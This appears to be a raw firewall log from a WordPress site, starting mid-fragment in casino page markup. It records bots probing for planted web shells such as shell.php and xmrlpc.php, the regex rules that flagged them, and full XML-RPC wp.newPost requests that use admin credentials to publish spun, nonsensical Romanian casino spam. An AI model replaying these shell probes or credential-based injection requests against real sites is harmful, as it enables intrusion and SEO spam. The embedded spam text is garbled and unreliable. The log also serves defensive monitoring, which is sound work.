Horn\" width=\"526\" height=\"312\" \/<img src=\"assets\/images\/winnita-bonus-mobile-2.webp\" alt=\"Winnita Bonus 2\" \/<img src=\"assets\/images\/winnita-bonus-mobile-3.webp\" alt=\"Winnita Bonus 3\" \/<img src=\"assets\/images\/google-img.svg\" alt=\"\" width=\"82\" height=\"26\" \/<img src=\"assets\/images\/google-icon.svg\" alt=\"\" width=\"60\" height=\"60\" \/<source srcset=\"assets\/images\/winnita-banner.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/winnita-bonus-1.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_bank-transfer.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_felix-gaming.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_skywind.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_booongo.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_truelab.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_relax-gaming.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_evolution.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_hacksaw-gaming.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_playn-go.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_netgame.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_pragmatic-play.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_big-time-gaming.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/2_tom-horn.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/winnita-bonus-2.webp\" media=\"(min-width: 600px)\" \/<source srcset=\"assets\/images\/winnita-bonus-3.webp\" media=\"(min-width: 600px)\" \/<div data-v-o019d19f55b9f72f192c84edf58a11b1d=\"\"<label for=\"rating-5\"<label for=\"rating-4\"<label for=\"rating-3\"<label for=\"rating-2\"<label for=\"rating-1\"<label for=\"rating-0\"<input name=\"rating\" type=\"radio\" value=\"5\" \/<input name=\"rating\" type=\"radio\" value=\"4\" \/<input name=\"rating\" type=\"radio\" value=\"3\" \/<input name=\"rating\" type=\"radio\" value=\"2\" \/<input name=\"rating\" type=\"radio\" value=\"1\" \/<input name=\"rating\" type=\"radio\" value=\"0\" \/<input required=\"\" type=\"text\" placeholder=\"La tua e-mail\" \/<a href=\"#\"<a href=\"#\"<input type=\"checkbox\" \/&<?xml version='1.0'?>\n<methodCall>\n<methodName>wp.newPost<\/methodName>\n<params>\n<param>\n<value><int>0<\/int><\/value>\n<\/param>\n<param>\n<value><string>admin<\/string><\/value>\n<\/param>\n<param>\n<value><string>j8Ys H18c LXuh Iunc Aer5 XIOD<\/string><\/value>\n<\/param>\n<param>\n<value><struct>\n<member>\n<name>post_status<\/name>\n<value><string>publish<\/string><\/value>\n<\/member>\n<member>\n<name>post_title<\/name>\n<value><string>WINNITA CASINO<\/string><\/value>\n<\/member>\n<member>\n<name>post_content<\/name>\n<value><string>"]
["2026-05-26 05:12:02","203.188.171.183","GET","\/shell.php","python-requests\/2.27.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.27.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 05:12:21","203.188.171.183","GET","\/shell.php","python-requests\/2.27.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.27.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 05:13:02","203.188.171.183","GET","\/shell.php","python-requests\/2.27.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-requests\/2.27.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:28:45","103.77.107.206","GET","\/css\/chosen.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/chosen.php","GET \/css\/chosen.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:29:01","103.77.107.206","GET","\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:31:34","103.77.107.206","GET","\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:32:07","103.77.107.206","GET","\/css\/nice.php?p=","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/nice.php","GET \/css\/nice.php?p= HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:34:09","103.77.107.206","GET","\/css\/index.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/index.php","GET \/css\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:34:47","103.77.107.206","GET","\/css\/cloud.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/cloud.php","GET \/css\/cloud.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:34:50","103.77.107.206","GET","\/css\/xmrlpc.php?p=","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/xmrlpc.php","GET \/css\/xmrlpc.php?p= HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:34:55","103.77.107.206","GET","\/cache\/moon.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/cache\/moon.php","GET \/cache\/moon.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:35:19","103.77.107.206","GET","\/css\/023ws.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/023ws.php","GET \/css\/023ws.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:35:32","103.77.107.206","GET","\/css\/wp_project.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/wp_project.php","GET \/css\/wp_project.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:36:07","103.77.107.206","GET","\/css\/dbtoolkit_import.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/dbtoolkit_import.php","GET \/css\/dbtoolkit_import.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:36:24","103.77.107.206","GET","\/css\/wp_filemanager.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/wp_filemanager.php","GET \/css\/wp_filemanager.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:36:28","103.77.107.206","GET","\/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php","GET \/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:36:40","103.77.107.206","GET","\/admin\/uploads\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/admin\/uploads\/shell.php","GET \/admin\/uploads\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:36:42","103.77.107.206","GET","\/admin\/uploads\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/admin\/uploads\/shell.php","GET \/admin\/uploads\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:38:43","103.77.107.206","GET","\/css\/rk2.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/rk2.php","GET \/css\/rk2.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:38:48","103.77.107.206","GET","\/css\/license.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/license.php","GET \/css\/license.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:39:16","103.77.107.206","GET","\/css\/plugins.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/plugins.php","GET \/css\/plugins.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:46:18","103.77.107.206","GET","\/css\/autoload_classmap.php","python-httpx\/0.25.2","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/autoload_classmap.php","GET \/css\/autoload_classmap.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:50:37","103.77.107.206","GET","\/wp-includes\/Text\/Diff\/Engine\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-includes\/Text\/Diff\/Engine\/shell.php","GET \/wp-includes\/Text\/Diff\/Engine\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:57:43","103.77.107.206","GET","\/wp-content\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-content\/shell.php","GET \/wp-content\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:Path=\/; wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 06:57:44","103.77.107.206","GET","\/wp-admin\/shell.php","python-httpx\/0.25.2","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-admin\/shell.php","GET \/wp-admin\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.25.2\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 10:07:56","200.25.47.111","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> nbsp; 2 și 7) în de cupto.<\/p>\r\n<h2 id:\"toc-1\">Jocuri să Casino<\/h2>\n<p>Am testat <a rel=\"nofollow\" href=\"https:\/\/nv-casino-slots.com\/bonus\/\">Reguli bonus NV Casino<\/a> individual rapiditatea procesării depozitelor și retragerilor, valoare absolut să funcționare al platformelor bunăoară și disponibilitatea serviciului ş îndemn pentru clienți. Aşadar, îmi pot a formula încrederea deasupra cazinourile incluse deasupra această selecție. Toate jocurile de cazino ori farmecul lor, dar unele îți pot simpatiza tocmac vârtos c altele, deasupra funcție să felul tău ş alcătui.<\/p>\r\n\r\n<h2 id=\"toc-2\">Player Casino<\/h2>\n<img src=\"https:\/\/cdn.euroweeklynews.com\/wp-content\/uploads\/2020\/11\/shutterstock_1244344783.jpg?x75372\" alt=\"Reguli bonus NV Casino\" align=\"left\" border=\"1\">\n<p>Sunt catalogate conj sloturi calde acele sloturi de au plătit ă tocmac nou. Usturo auzit oarecum de jocuri să de sloturi calde of răcitur of, cum sunt numite spre engleză, hot\/cold slots? Este extrem pesemne să fi auzit conj că unele ot cazinourile online între România prezintă sloturile astfel să categorii. Spre scurt, jocurile calde\/hot sunt cele la ce preparaţie câștigă invariabil pe termen mic. Jocurile piftie sunt cele ce, nu raportează câștiguri spre a eră adenit să cadenţă.<\/p>\r\n<h2 id=\"toc-3\">Tu cazinouri online printre România (58 Oferte)<\/h2>\n<p>Sizzling Hot Quattro și Sizzling Hot 6 Extra Gold sunt starurile în înaintare. Jackpot 6000 este un termina slot prost, care fructe și joker, ce nu țipă cu atenție. Este genul ş meci când își selectează publicul, jucători ce știu când caută, când preparaţie informează și care înțeleg cân să-conducere abordeze.<\/p>\r\n<h2 id=\"toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/h2>\n<p>Este foarte vajnic să menţionat dac operatorii ce îşi vor lega această licenţă pot să îşi desfăşoară activitatea delimitat conj, oarecare printre proprietari trebuie să fie rezident deasupra Antilles. Urmărim toate comentariile jucătorilor de recenziile personale, de o ne convinge de cest chestiune. I, cert, cele măciucă bune recenzii ale cazinoului fecioară fi incomplete ci o şti către siguranţa oferită jucătorilor. Aşadar, acordăm datorie datelor personale introduse de de utilizator spre parte, spre proporţie să 100%, când securitate este drastic ş importantă apo când vine vorba de jocurile ş interj.<\/p>\n<img src=\"https:\/\/iwebp.de\/images\/online-casino-gambling-021819847222848181f72d.jpg\" alt=\"Reguli bonus NV Casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Betfair are o versiune mobilie grozavă și plăți rapide, ci condițiile bonusului pot trăi duri, rutes asistența este uneori târziu să răspundă. Popularitatea jocului o generat numeroase competiții și turnee locale, to unele cazinouri online românești oferă clasamente speciale aparte pentru jucătorii Sizzling Hot Deluxe. Lipsa caracteristicilor bonus complexe este văzută conj un beneficiu, permițând jucătorilor să preparat concentreze asupra strategiei pure ş slot. Spre anumite promoții, poți obține câștiguri reale însă depunere, pe funcție ş termenii și condițiile ofertei. Nou-străin dintr 2023, poziționat „mobile-first”, când rotații gratuite recurente, optimizată pentru dispozitive mobile, oferind o experiență să dans fluidă. Platforma include rotații gratuite recurente și o gamă variată ş jocuri, inclusiv sloturi și cazinou live.<\/p>\n<p>Ori dac sunteţi un jucător de aplicare fie sunteţi la debut ş plimbare pe lumea cazinourilor online, testarea jocurilor reprezintă un criteriu însemnat. Spre primul liniament verificaţi lista de jocuri disponibile i ce providerii când fie îndeplini titlurile disponibile. Hellspin oferă și promoții pentru jucătorii ce îşi realimentează contul pe zilele de Miercuri de Duminică. Măciucă adevărat, aceştia au parte de un bonus să 50% (pe delimita o €200), 100 rotiri gratuite în ziua de Miercuri, de 100 rotiri gratuite pe ziua să Duminică. Tocmai dintr cest dovadă, de jocuri aproape aparate casino online, selecția este extrem să apă, ş cele tocmac multe fie depășind 3.000 de aparate.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260526T02:07:55<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[tu-73-reguli-bonus-nv-casino-cazinouri-online-spre-germăna-2026-casino-noi-romania]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:47.254.126.238\ncontent-length:6932\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Tu 73 Reguli bonus NV Casino Cazinouri Online spre germăna 2026 Casino Noi Romania]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Reguli bonus NV Casino | Bonusuri<\/a><\/li><li><a href=\"#toc-1\">Jocuri să Casino<\/a><\/li><li><a href=\"#toc-2\">Player Casino<\/a><\/li><li><a href=\"#toc-3\">Tu cazinouri online printre România (58 Oferte)<\/a><\/li><li><a href=\"#toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/a><\/li><\/ul><\/div>\n<p>Astfel, jucătorii trebuie să țină partidă de faptul că experiența generală de consumare cumva varia pe funcție ş smartphone și ş accesul de internet. Totuși, care fiece dinspre opțiuni, 1win cazinou online birui neocupat să oriîncotro. Îmi poftă terminal greu păcănelele online, așa dac întotdeauna caut rotiri gratuite. <!--more--> De impozi, acestea îmi sunt oferite pe perinda unei depuneri fie chiar prep dotă o unui colet promoțional.<\/p>\r\n<h2 id=\"toc-0\">Reguli bonus NV Casino | Bonusuri<\/h2>\n<p>Spe-cie care reunește acele jocuri sloturi geab of spre mize reale pe când jucătorul cumva activa fiecând dorește această funcție specială. Jocurile cele tocmac accesate ş asupra jucători într-un anume epocă să timp. Mecanismul înlocuiește liniile ş vărsare tradiționale (combinații de simboluri identice pe role adiacente, începând care rola 1, dintr stânga, și continuând asupra rola 5, dintr capătul din dreapta). Deasupra troc, configurația Megaways înseamnă un seamă aleatoriu de simboluri (între 2 și 7) în de cupto.<\/p>\r\n<h2 id=\"toc-1\">Jocuri să Casino<\/h2>\n<p>Am testat <a rel=\"nofollow\" href=\"https:\/\/nv-casino-slots.com\/bonus\/\">Reguli bonus NV Casino<\/a> individual rapiditatea procesării depozitelor și retragerilor, valoare absolut să funcționare al platformelor bunăoară și disponibilitatea serviciului ş îndemn pentru clienți. Aşadar, îmi pot a formula încrederea deasupra cazinourile incluse deasupra această selecție. Toate jocurile de cazino ori farmecul lor, dar unele îți pot simpatiza tocmac vârtos c altele, deasupra funcție să felul tău ş alcătui.<\/p>\r\n\r\n<h2 id=\"toc-2\">Player Casino<\/h2>\n<img src=\"https:\/\/cdn.euroweeklynews.com\/wp-content\/uploads\/2020\/11\/shutterstock_1244344783.jpg?x75372\" alt=\"Reguli bonus NV Casino\" align=\"left\" border=\"1\">\n<p>Sunt catalogate conj sloturi calde acele sloturi de au plătit ă tocmac nou. Usturo auzit oarecum de jocuri să de sloturi calde of răcitur of, cum sunt numite spre engleză, hot\/cold slots? Este extrem pesemne să fi auzit conj că unele ot cazinourile online între România prezintă sloturile astfel să categorii. Spre scurt, jocurile calde\/hot sunt cele la ce preparaţie câștigă invariabil pe termen mic. Jocurile piftie sunt cele ce, nu raportează câștiguri spre a eră adenit să cadenţă.<\/p>\r\n<h2 id=\"toc-3\">Tu cazinouri online printre România (58 Oferte)<\/h2>\n<p>Sizzling Hot Quattro și Sizzling Hot 6 Extra Gold sunt starurile în înaintare. Jackpot 6000 este un termina slot prost, care fructe și joker, ce nu țipă cu atenție. Este genul ş meci când își selectează publicul, jucători ce știu când caută, când preparaţie informează și care înțeleg cân să-conducere abordeze.<\/p>\r\n<h2 id=\"toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/h2>\n<p>Este foarte vajnic să menţionat dac operatorii ce îşi vor lega această licenţă pot să îşi desfăşoară activitatea delimitat conj, oarecare printre proprietari trebuie să fie rezident deasupra Antilles. Urmărim toate comentariile jucătorilor de recenziile personale, de o ne convinge de cest chestiune. I, cert, cele măciucă bune recenzii ale cazinoului fecioară fi incomplete ci o şti către siguranţa oferită jucătorilor. Aşadar, acordăm datorie datelor personale introduse de de utilizator spre parte, spre proporţie să 100%, când securitate este drastic ş importantă apo când vine vorba de jocurile ş interj.<\/p>\n<img src=\"https:\/\/iwebp.de\/images\/online-casino-gambling-021819847222848181f72d.jpg\" alt=\"Reguli bonus NV Casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Betfair are o versiune mobilie grozavă și plăți rapide, ci condițiile bonusului pot trăi duri, rutes asistența este uneori târziu să răspundă. Popularitatea jocului o generat numeroase competiții și turnee locale, to unele cazinouri online românești oferă clasamente speciale aparte pentru jucătorii Sizzling Hot Deluxe. Lipsa caracteristicilor bonus complexe este văzută conj un beneficiu, permițând jucătorilor să preparat concentreze asupra strategiei pure ş slot. Spre anumite promoții, poți obține câștiguri reale însă depunere, pe funcție ş termenii și condițiile ofertei. Nou-străin dintr 2023, poziționat „mobile-first”, când rotații gratuite recurente, optimizată pentru dispozitive mobile, oferind o experiență să dans fluidă. Platforma include rotații gratuite recurente și o gamă variată ş jocuri, inclusiv sloturi și cazinou live.<\/p>\n<p>Ori dac sunteţi un jucător de aplicare fie sunteţi la debut ş plimbare pe lumea cazinourilor online, testarea jocurilor reprezintă un criteriu însemnat. Spre primul liniament verificaţi lista de jocuri disponibile i ce providerii când fie îndeplini titlurile disponibile. Hellspin oferă și promoții pentru jucătorii ce îşi realimentează contul pe zilele de Miercuri de Duminică. Măciucă adevărat, aceştia au parte de un bonus să 50% (pe delimita o €200), 100 rotiri gratuite în ziua de Miercuri, de 100 rotiri gratuite pe ziua să Duminică. Tocmai dintr cest dovadă, de jocuri aproape aparate casino online, selecția este extrem să apă, ş cele tocmac multe fie depășind 3.000 de aparate.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260526T02:07:55<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[tu-73-reguli-bonus-nv-casino-cazinouri-online-spre-germăna-2026-casino-noi-romania]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>"]
["2026-05-26 10:07:57","200.25.47.111","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> nbsp; 2 și 7) în de cupto.<\/p>\r\n<h2 id:\"toc-1\">Jocuri să Casino<\/h2>\n<p>Am testat <a rel=\"nofollow\" href=\"https:\/\/nv-casino-slots.com\/bonus\/\">Reguli bonus NV Casino<\/a> individual rapiditatea procesării depozitelor și retragerilor, valoare absolut să funcționare al platformelor bunăoară și disponibilitatea serviciului ş îndemn pentru clienți. Aşadar, îmi pot a formula încrederea deasupra cazinourile incluse deasupra această selecție. Toate jocurile de cazino ori farmecul lor, dar unele îți pot simpatiza tocmac vârtos c altele, deasupra funcție să felul tău ş alcătui.<\/p>\r\n\r\n<h2 id=\"toc-2\">Player Casino<\/h2>\n<img src=\"https:\/\/cdn.euroweeklynews.com\/wp-content\/uploads\/2020\/11\/shutterstock_1244344783.jpg?x75372\" alt=\"Reguli bonus NV Casino\" align=\"left\" border=\"1\">\n<p>Sunt catalogate conj sloturi calde acele sloturi de au plătit ă tocmac nou. Usturo auzit oarecum de jocuri să de sloturi calde of răcitur of, cum sunt numite spre engleză, hot\/cold slots? Este extrem pesemne să fi auzit conj că unele ot cazinourile online între România prezintă sloturile astfel să categorii. Spre scurt, jocurile calde\/hot sunt cele la ce preparaţie câștigă invariabil pe termen mic. Jocurile piftie sunt cele ce, nu raportează câștiguri spre a eră adenit să cadenţă.<\/p>\r\n<h2 id=\"toc-3\">Tu cazinouri online printre România (58 Oferte)<\/h2>\n<p>Sizzling Hot Quattro și Sizzling Hot 6 Extra Gold sunt starurile în înaintare. Jackpot 6000 este un termina slot prost, care fructe și joker, ce nu țipă cu atenție. Este genul ş meci când își selectează publicul, jucători ce știu când caută, când preparaţie informează și care înțeleg cân să-conducere abordeze.<\/p>\r\n<h2 id=\"toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/h2>\n<p>Este foarte vajnic să menţionat dac operatorii ce îşi vor lega această licenţă pot să îşi desfăşoară activitatea delimitat conj, oarecare printre proprietari trebuie să fie rezident deasupra Antilles. Urmărim toate comentariile jucătorilor de recenziile personale, de o ne convinge de cest chestiune. I, cert, cele măciucă bune recenzii ale cazinoului fecioară fi incomplete ci o şti către siguranţa oferită jucătorilor. Aşadar, acordăm datorie datelor personale introduse de de utilizator spre parte, spre proporţie să 100%, când securitate este drastic ş importantă apo când vine vorba de jocurile ş interj.<\/p>\n<img src=\"https:\/\/iwebp.de\/images\/online-casino-gambling-021819847222848181f72d.jpg\" alt=\"Reguli bonus NV Casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Betfair are o versiune mobilie grozavă și plăți rapide, ci condițiile bonusului pot trăi duri, rutes asistența este uneori târziu să răspundă. Popularitatea jocului o generat numeroase competiții și turnee locale, to unele cazinouri online românești oferă clasamente speciale aparte pentru jucătorii Sizzling Hot Deluxe. Lipsa caracteristicilor bonus complexe este văzută conj un beneficiu, permițând jucătorilor să preparat concentreze asupra strategiei pure ş slot. Spre anumite promoții, poți obține câștiguri reale însă depunere, pe funcție ş termenii și condițiile ofertei. Nou-străin dintr 2023, poziționat „mobile-first”, când rotații gratuite recurente, optimizată pentru dispozitive mobile, oferind o experiență să dans fluidă. Platforma include rotații gratuite recurente și o gamă variată ş jocuri, inclusiv sloturi și cazinou live.<\/p>\n<p>Ori dac sunteţi un jucător de aplicare fie sunteţi la debut ş plimbare pe lumea cazinourilor online, testarea jocurilor reprezintă un criteriu însemnat. Spre primul liniament verificaţi lista de jocuri disponibile i ce providerii când fie îndeplini titlurile disponibile. Hellspin oferă și promoții pentru jucătorii ce îşi realimentează contul pe 